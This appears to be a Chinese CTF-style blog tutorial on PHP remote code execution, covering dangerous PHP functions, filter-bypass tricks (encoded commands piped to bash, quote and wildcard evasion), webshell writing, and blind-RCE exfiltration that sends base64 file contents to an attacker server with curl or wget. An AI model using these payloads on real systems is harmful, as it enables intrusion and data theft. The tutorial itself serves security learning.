【网络安全】RCE漏洞讲解、绕过方式及实例介绍

RCE简述

RCE漏洞,即远程代码执行漏洞(Remote Code Execution),可完全控制受影响的系统或应用程序。

成因:不正确的输入验证或没有划分正确的权限等,导致RCE漏洞的利用。

RCE执行函数及存在场景

PHP系统命令执行函数

1、system():能将字符串作为OS命令执行,且返回命令执行结果;

//Linux命令行
php -r "system('cat /etc/passwd');"

在这里插入图片描述

2、exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)

//Linux命令行
php -r "exec('cat /etc/passwd');"

在这里插入图片描述

3、shell_exec():能将字符串作为OS命令执行

//Linux命令行
php -r "shell_exec('cat /etc/passwd');"

4、passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

//Linux命令行
php -r "passthru('cat /etc/passwd');"

在这里插入图片描述

5、popen():打开进程文件指针

6、proc_open():与popen()类似

7、pcntl_exec():在当前进程空间执行指定程序

Linux命令行
//显示当前目录下的文件和目录列表
php -r "pcntl_exec('/bin/ls', ['-l']);"

在这里插入图片描述

8、反引号**``**:反引号内的字符串会被解析为OS命令

PHP代码执行函数

1、eval():将字符串作为php代码执行

//Linux命令行
php -r "eval(phpinfo());"

在这里插入图片描述

2、assert():将字符串作为php代码执行

3、preg_replace():正则匹配替换字符串

4、create_function():主要创建匿名函数

5、call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数

6、call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组

7、可变函数:在 PHP 中,如果变量后面有括号,PHP 将尝试将该变量作为函数名来调用。例如,如果 $func 是一个包含函数名的变量,那么 $func() 将调用这个函数。

存在场景

1、当应用程序使用反序列化函数(如unserialize())处理来自不受信任来源的数据时,可在反序列化时执行任意代码。

2、当应用程序使用不安全的文件包含函数(如includerequire)时,可以通过操纵包含的文件路径或参数,执行恶意代码。

3、当应用程序使用不安全的远程文件包含函数(如include_oncerequire_once)时,可以通过操纵远程文件的URL,执行恶意代码。

绕过方式

管道符

Linux管道符可实现RCE绕过

管道符实例描述
;A;B无论真假,A与B都执行
&A&B无论真假,A与B都执行
&&A&&BA为真时才执行B,否则只执行A
|A|B将前一个命令的输出作为后一个命令的输入,显示B的执行结果
||A||BA为假时才执行B,否则只执行A

过滤空格

以下字符均可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,flag}

在这里插入图片描述

在这里插入图片描述

分隔符;过滤

使用%0a代替
使用?>代替

取反绕过

//取反传参
<?php
 
$a = "system";
$b = "cat /flag";
 
$c = urlencode(~$a);
$d = urlencode(~$b);
 
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

反斜杠\绕过

//cat、ls关键命令被过滤
c\at /flag
l\s /

在这里插入图片描述

黑名单绕过

//变量拼接,如flag被过滤
1、将cat /flag替换为b=ag;cat /fl$b
2eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
 
//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S

//php标签绕过
?><?= phpinfo(); ?>

base和hex编码绕过

//base64编码绕过,编码cat /flag
//反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)

在这里插入图片描述

//hex编码绕过,编码cat /flag
echo '636174202f666c6167' | xxd -r -p | bash

解释:
echo '636174202f666c6167':使用 echo 打印十六进制编码的文本字符串
|:管道符号,前面命令的输出传递给后面命令的输入。
xxd -r -p:使用 xxd 工具,-r 参数表示将十六进制编码转换为二进制,-p 参数表示将十六进制字符串视为原始数据,不显示地址和ASCII码。
|:再次是管道符号,将 xxd 命令的输出传递给下一个命令。
bash:将二进制数据作为一个脚本来执行。

在这里插入图片描述

//shellcode编码绕过
//十六进制编码绕过
不再详述

正则匹配绕过

关于正则匹配的相关知识,可参考:【JavaScript | RegExp】正则表达式 | CSDN秋说

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

在这里插入图片描述

//   /etc/passwd文件被黑名单过滤
cat /???/pass*

在这里插入图片描述

单、双引号绕过

//如cat、ls被过滤
ca""t /flag
l's' /

在这里插入图片描述

在这里插入图片描述

//   /etc/passwd文件被黑名单过滤
//例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
cat /etc$u/passwd

在这里插入图片描述

无回显RCE

1、将执行结果输出到文件再访问文件

//将根目录下的所有目录和文件写入1.txt
ls / | tee 1.txt
//接着访问1.txt
cat 1.txt

//将flag.php文件内容写入2.txt中
cat /flag.php | tee 2.txt
//接着访问2.txt
cat 2.txt

在这里插入图片描述

在这里插入图片描述

2、复制,改名,压缩,写shell

cp flag.php 1.txt		//将 flag.php 的内容复制到 1.txt 
cat flag.php > flag.txt //将 flag.php 的内容复制到 flag.txt 


mv flag.php flag.txt	//改名


tar cvf flag.tar flag.php	//压缩
等价于
tar zcvf flag.tar.gz flag.php


//写入webshell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php 
等价于
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php	

在这里插入图片描述

3、在vps上建立记录脚本

执行 cat flag.php | base64 命令,获取 flag.php 文件的内容,写入到名为 flag.txt 的文件中。

在攻击机服务器站点根目录写入php文件,内容如下:
record.php
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器可以发送下面其中任意一条请求进行测试
curl http://*.*.*.*/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

无参数RCE

1、三个常用的PHP函数:

1.1、getallheaders()用于获取所有 HTTP 请求头信息(命令行环境中不存在 HTTP 请求,可以将该函数写入脚本)

1.2、get_defined_vars()返回由所有已定义变量所组成的数组

//Linux命令:
php -r 'print_r(get_defined_vars());'

在这里插入图片描述

1.3、session_id可以获取PHPSESSID的值

<?php
session_start();
$sessionId = session_id();
echo "$sessionId";
?>

//列出当前目录中的文件和子目录
//等价于Linux命令:php -r 'session_start(); echo session_id() . PHP_EOL;'

在这里插入图片描述

2、PHP读取目录语句:

2.1:

print_r(scandir(current(localeconv())));
//列出当前目录中的文件和子目录
//等价于Linux命令:php -r 'print_r(scandir("."));'

在这里插入图片描述

2.2:

print_r(scandir(pos(localeconv())));
//列出当前目录中的文件和子目录
//等价于Linux命令:php -r 'print_r(scandir(dirname(__FILE__)));'

在这里插入图片描述

2.3:

print_r(scandir(dirname(__FILE__)));
//列出当前 PHP 脚本所在目录的文件和子目录
//等价于Linux命令:php -r 'print_r(scandir(dirname(__FILE__)));'

在这里插入图片描述

无数字RCE

使用~$()构造数字

示例如下

1、

$(())为0

在这里插入图片描述

2、

$((~$(())))为-1

在这里插入图片描述

无字母数字RCE

异或、取反、自增、临时文件上传等。

内联执行

1:

echo `ls`;

在这里插入图片描述

2:

echo $(ls);

在这里插入图片描述

过滤cat命令

以下命令可在一定程度上代替cat命令

more: 逐页显示文件内容,按空格键继续显示下一页,按 Q 键退出。
less: 与 more 类似,但是更强大,支持向前翻页、向后翻页等操作。
head: 显示文件的开头几行,默认显示头部 10 行。
tac: 从文件的最后一行开始显示,实现了 cat 的反向显示。
tail: 显示文件的末尾几行,默认显示尾部 10 行。
nl: 将文件内容显示出来,并顺便输出行号。
od: 以二进制方式查看文件内容。
vi 和 vim: 文本编辑器,可以查看文件内容,但是在查看模式下并不会直接显示文件内容,需要通过编辑器的命令来浏览。
sort: 可以按照一定规则对文件内容进行排序,并输出结果。
uniq: 可以去除重复的行,并输出唯一的行。
file: 可以显示文件的类型,如文本、二进制等,并提供详细信息。
bash: 可以执行 Bash 脚本,并输出执行结果。
strings: 可以从文件中提取可打印的字符序列。

例如,cat 1.txt等价于head -n 999999 1.txt

在这里插入图片描述

open_basedir绕过

open_basedir 是 PHP 的一个安全特性,用于限制 PHP 脚本可以访问的文件路径。它定义了一个目录列表,PHP 脚本只能在这些目录中访问文件,而不能超出这些限制。

可以使用glob伪协议进行绕过(glob 函数用于在文件系统中查找与指定模式匹配的文件路径名。):

<?php
// 循环 spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
  • 23
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏,祝你平安喜乐。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值